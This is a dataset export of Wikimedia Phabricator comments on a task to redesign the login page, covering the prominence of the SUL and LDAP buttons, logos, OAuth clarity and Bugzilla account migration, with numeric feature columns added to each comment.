1426765,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,per last comment,,,1579194476,,PHID-USER-ibbxmosfonhbbhdgkv52,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,False,,,237,True,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,per last comment
1426763,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"Ah.

Well, I'd say this isn't Resolved, then.",,,1579194372,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,True,,,237,True,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,27.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6,0.8666666666666667,"Ah.

Well, I'd say this isn't Resolved, then."
1426715,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,">>! In T862#5809863, @Jdforrester-WMF wrote:
>>>! In T862#5805846, @Aklapper wrote:
>> Not an issue anymore these days due to customization (` Auth > Customize Messages > Login Screen Instructions`):
>> 
>> {F31513468}
> 
> That's not the login screen I get when I browse in an incognito browser:
> 
> {F31514452}

Thats due to the window size, when the window is small the buttons get moved on top of each other, but when the window is big (like in your screenshot) the buttons are next to each other instead",,,1579191783,,PHID-USER-ibbxmosfonhbbhdgkv52,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,False,,,237,True,3.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,16.0,3.0,2.0,13.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,8.0,13.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4754098360655736,0.5409836065573771,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Thats due to the window size, when the window is small the buttons get moved on top of each other, but when the window is big (like in your screenshot) the buttons are next to each other instead"
1426709,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,">>! In T862#5805846, @Aklapper wrote:
> Not an issue anymore these days due to customization (` Auth > Customize Messages > Login Screen Instructions`):
> 
> {F31513468}

That's not the login screen I get when I browse in an incognito browser:

{F31514452}",,,1579191471,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,True,,,237,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,29.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,11.0,0.0,0.0,0.0,7.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.4642857142857144,0.75,"QUOTE
QUOTE
QUOTE
QUOTE

That's not the login screen I get when I browse in an incognito browser:

{F31514452}"
1426701,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"@Aklapper I thought the login page we have here on phab was custom and done by us? (I'm talking about the page where you select SUL or LDAP, not the actual login forum)",,,1579190552,,PHID-USER-ibbxmosfonhbbhdgkv52,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,False,,,237,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,3.0,13.0,3.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,8.0,8.0,3.0,0.0,0.0,13.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.6315789473684212,0.868421052631579,"SCREEN_NAME I thought the login page we have here on phab was custom and done by us? (I'm talking about the page where you select SUL or LDAP, not the actual login forum)"
1426700,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,@Aklapper I thought the login page we have here on phab was custom and done by us?,,,1579190503,,PHID-USER-ibbxmosfonhbbhdgkv52,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,False,,,237,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,11.0,6.0,6.0,0.0,0.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.7777777777777777,1.0,SCREEN_NAME I thought the login page we have here on phab was custom and done by us?
1426198,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"That would be a separate upstream request, as we don't plan to investigate.",,,1579128147,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,True,,,236,True,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.9375,1.0,"That would be a separate upstream request, as we don't plan to investigate."
1426179,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,Could the button text be centered and make the buttons the same width?,,,1579126627,,PHID-USER-ibbxmosfonhbbhdgkv52,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,False,,,236,True,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,7.0,7.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,0.8571428571428571,Could the button text be centered and make the buttons the same width?
1425757,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"Not an issue anymore these days due to customization (` Auth > Customize Messages > Login Screen Instructions`):

{F31513468}",,,1579104959,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,True,,,236,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"Not an issue anymore these days due to customization (CODE):

{F31513468}"
952253,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"
>>! In T862#3701636, @Quiddity wrote:
> 3. Add the [[https://commons.wikimedia.org/wiki/File:Wikimedia-logo.svg |Wikimedia Movement logo]] to the right-hand side of the Mediawikiwiki login button. This will more strongly hint at the SUL nature of the button, and make it even more prominent.

Done.",,,1508790170,,PHID-USER-fn7qnpccfbitivgtw2rt,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,True,,,120,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7142857142857144,0.7142857142857143,"
QUOTE
QUOTE

Done."
951604,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,">>! In T862#3701636, @Quiddity wrote:
> # Change the icon on the LDAP login button from the generic ""arrow-pointing-to-square"" into the Wikitech logo. -- Using either https://wikitech.wikimedia.org/static/images/project-logos/wikitech.png (PNG) or https://commons.wikimedia.org/wiki/File:Wikitech_logo.svg (SVG).

I would just turn that from a button into a plain link, to better emphasize which is the primary option. There is very little reason to use it under normal circumstances (really the only reason to have it at all is that people sometimes lock themselves out of their Wikimedia accounts). Unnecessary choices are bad for UX.",,,1508637353,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,True,,,120,True,1.0,0.0,1.0,0.0,0.0,10.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,10.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,6.0,6.0,10.0,1.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,7.0,16.0,3.0,0.0,0.0,0.0,7.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,4.164179104477612,0.8208955223880597,"QUOTE
QUOTE

I would just turn that from a button into a plain link, to better emphasize which is the primary option. There is very little reason to use it under normal circumstances (really the only reason to have it at all is that people sometimes lock themselves out of their Wikimedia accounts). Unnecessary choices are bad for UX."
951598,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,The MediaWiki button could also be centered imo.,,,1508633067,,PHID-USER-ibbxmosfonhbbhdgkv52,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,False,,,120,True,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.555555555555555,1.0,The MediaWiki button could also be centered imo.
951597,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,">>! In T963#3700724, @mmodell wrote:
> So I finally got around to dealing with this (D831)... Some years later. I know this should have been resolved a long time ago and I apologize for letting it rot.

@mmodell The changes looks great in the screenshot at top there, thanks!

Can I suggest 3 additional changes, here?
# Change the 2nd text-line's wording from `Alternatively, you can introduce your` - into: `Alternatively, you can use your`
# Change the icon on the LDAP login button from the generic ""arrow-pointing-to-square"" into the Wikitech logo. -- Using either https://wikitech.wikimedia.org/static/images/project-logos/wikitech.png (PNG) or https://commons.wikimedia.org/wiki/File:Wikitech_logo.svg (SVG).
# Add the [[https://commons.wikimedia.org/wiki/File:Wikimedia-logo.svg |Wikimedia Movement logo]] to the right-hand side of the Mediawikiwiki login button. This will more strongly hint at the SUL nature of the button, and make it even more prominent.",,,1508632534,,PHID-USER-hphmqcx66p6d6gvmjzp7,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,False,,,120,True,0.0,0.0,1.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,4.0,7.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.5,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.5,0.0,15.0,0.0,1.5,9.0,0.0,0.0,0.5,2.0,4.0,0.0,0.5,0.0,1.5,7.5,8.5,0.5,1.5,0.0,1.5,0.0,0.0,0.0,0.0,1.5,1.5,0.0,1.5,3.5390625,0.71875,"QUOTE
QUOTE
SCREEN_NAME The changes looks great in the screenshot at top there, thanks!

Can I suggest 3 additional changes, here?
# Change the 2nd text-line's wording from CODE - into: CODE
# Change the icon on the LDAP login button from the generic ""arrow-pointing-to-square"" into the Wikitech logo. -- Using either URL (PNG) or URL (SVG).
# Add the [[URL |Wikimedia Movement logo]] to the right-hand side of the Mediawikiwiki login button. This will more strongly hint at the SUL nature of the button, and make it even more prominent."
878066,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"Also, the MediaWiki logo is not necessarily recognizable (e.g. to Wikipedia editors who might want to report some UI bug). It would be nice to dislplay the other project logos around the login button.

It would also be nice to do the OAuth sequence in the user's own language but I imagine that does not have a good effort/benefit ratio.",,,1497710467,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,True,,,102,True,1.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,0.0,4.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,19.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,1.0,0.0,1.0,0.0,9.0,4.0,11.0,0.0,1.0,11.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.0,9.0,6.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.9857142857142858,0.8,"Also, the MediaWiki logo is not necessarily recognizable (e.g. to Wikipedia editors who might want to report some UI bug). It would be nice to dislplay the other project logos around the login button.

It would also be nice to do the OAuth sequence in the user's own language but I imagine that does not have a good effort/benefit ratio."
550546,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,https://gerrit.wikimedia.org/r/#/c/247793/,,,1445534681,,PHID-USER-3neel27i7dyu62jbbx2l,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,True,,,16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
550540,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,fyi T116142,,,1445534539,,PHID-USER-3neel27i7dyu62jbbx2l,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,3,True,,,16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,fyi T116142
403680,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"The fact that users are joining is not convincing: how many are put off? I joined after finding and reading https://meta.wikimedia.org/wiki/User_talk:Erik_Moeller_%28WMF%29#Phabricator_login_sequence — but did not know what Phabricator actually was, and I’m still not sure what it wants me to allow it to do. I decided the evidence was that it it was safe (partly because it is within wikimedia.org), and there was a discussion I thought I might contribute to. That I saw the confirmation link was (truly) from wikimedia reassured me sufficiently to click it.

I think the screen should say (or link to a page/pop-up saying) what **phabricator-production** is, what “this site” refers to, what it will do with the access it is granted, under what conditions it will do it and whether one can revoke it.",,,1422395355,,PHID-USER-t3q6eaqkeacm3uphfbhg,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,False,,,-23,True,0.5,0.0,0.0,1.0,1.5,1.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,5.0,0.5,4.5,10.0,0.0,1.5,0.5,0.0,0.0,6.0,0.5,0.0,0.0,1.0,1.0,0.0,5.5,3.0,6.5,1.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,2.5,0.0,0.5,0.5,0.0,0.5,8.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,1.0,0.0,1.0,0.0,0.0,0.5,4.0,6.0,5.5,3.0,3.0,5.5,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,11.5,10.0,0.0,0.5,0.0,0.0,11.5,0.0,4.0,1.0,1.0,2.5,0.0,0.0,0.0,3.638888888888889,0.6955246913580246,"The fact that users are joining is not convincing: how many are put off? I joined after finding and reading URL — but did not know what Phabricator actually was, and I’m still not sure what it wants me to allow it to do. I decided the evidence was that it it was safe (partly because it is within wikimedia.org), and there was a discussion I thought I might contribute to. That I saw the confirmation link was (truly) from wikimedia reassured me sufficiently to click it.

I think the screen should say (or link to a page/pop-up saying) what **phabricator-production** is, what “this site” refers to, what it will do with the access it is granted, under what conditions it will do it and whether one can revoke it."
334306,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"Not related to login page design, but I think T76146 will improve the process (it certainly saves adding half a page of disclaimers).",,,1417199062,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-31,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,11.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.111111111111111,0.9629629629629629,"Not related to login page design, but I think T76146 will improve the process (it certainly saves adding half a page of disclaimers)."
333539,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"Even if the login page is far from perfect, beautiful or even easy to use, we are getting new users every day, and I'm not seeing complaints about the design. Lowering priority only because we have many other tasks at the moment. 

If someone wants to step in, it will help accelerating this discussion and the eventual implementation of improvements.",,,1417019585,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-32,True,3.0,1.0,0.0,0.0,1.0,10.0,1.0,1.0,0.0,3.0,1.0,1.0,0.0,1.0,0.0,4.0,1.0,7.0,14.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,7.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,4.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,14.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.231884057971015,0.8405797101449275,"Even if the login page is far from perfect, beautiful or even easy to use, we are getting new users every day, and I'm not seeing complaints about the design. Lowering priority only because we have many other tasks at the moment. 

If someone wants to step in, it will help accelerating this discussion and the eventual implementation of improvements."
5229,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"Thanks, posted to https://www.mediawiki.org/wiki/Topic:S5sbkpsibnps5e1p (first time used Flow, beeeh)

Thanks for working on this. Actually I have installed and used Phabricator before for my clients, so I am not that new :)",,,1415539017,,PHID-USER-qduasitr62ffvc5eiivd,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-34,True,0.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,21.0,3.0,3.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,5.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.6923076923076925,0.8461538461538461,"Thanks, posted to URL (first time used Flow, beeeh)

Thanks for working on this. Actually I have installed and used Phabricator before for my clients, so I am not that new :)"
5226,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"Everybody registers using Wikimedia SUL or LDAP. In order to claim your Bugzilla activity, you need to specify the email address(es) that you used in Bugzilla. That's all.

It is explained at https://www.mediawiki.org/wiki/Phabricator/Help#Claiming_your_previous_Bugzilla_and_RT_accounts -- and improvements are welcome.

Thank you for working on this. Your perspective as Phabricator newcomer is appreciated, it helps us seeing details difficult to see when you have gone through this process some time ago.",,,1415515662,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-34,True,2.0,1.0,0.0,2.0,0.0,2.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,14.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,2.0,2.0,7.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,11.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,4.0,16.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,14.0,7.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,1.0,4.0,0.0,0.0,0.0,4.320987654320987,0.8148148148148148,"Everybody registers using Wikimedia SUL or LDAP. In order to claim your Bugzilla activity, you need to specify the email address(es) that you used in Bugzilla. That's all.

It is explained at URL -- and improvements are welcome.

Thank you for working on this. Your perspective as Phabricator newcomer is appreciated, it helps us seeing details difficult to see when you have gone through this process some time ago."
5221,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"It just a couple CSS changes (and I think I have reordered two divs).

But my question from T1156 remains:

* How are we going to migrate users?

* What is the migration path for Bugzilla (possibly Bugzilla-only) users?
 - claiming of an account created by the migration process
 - create new account using bugzilla email address?

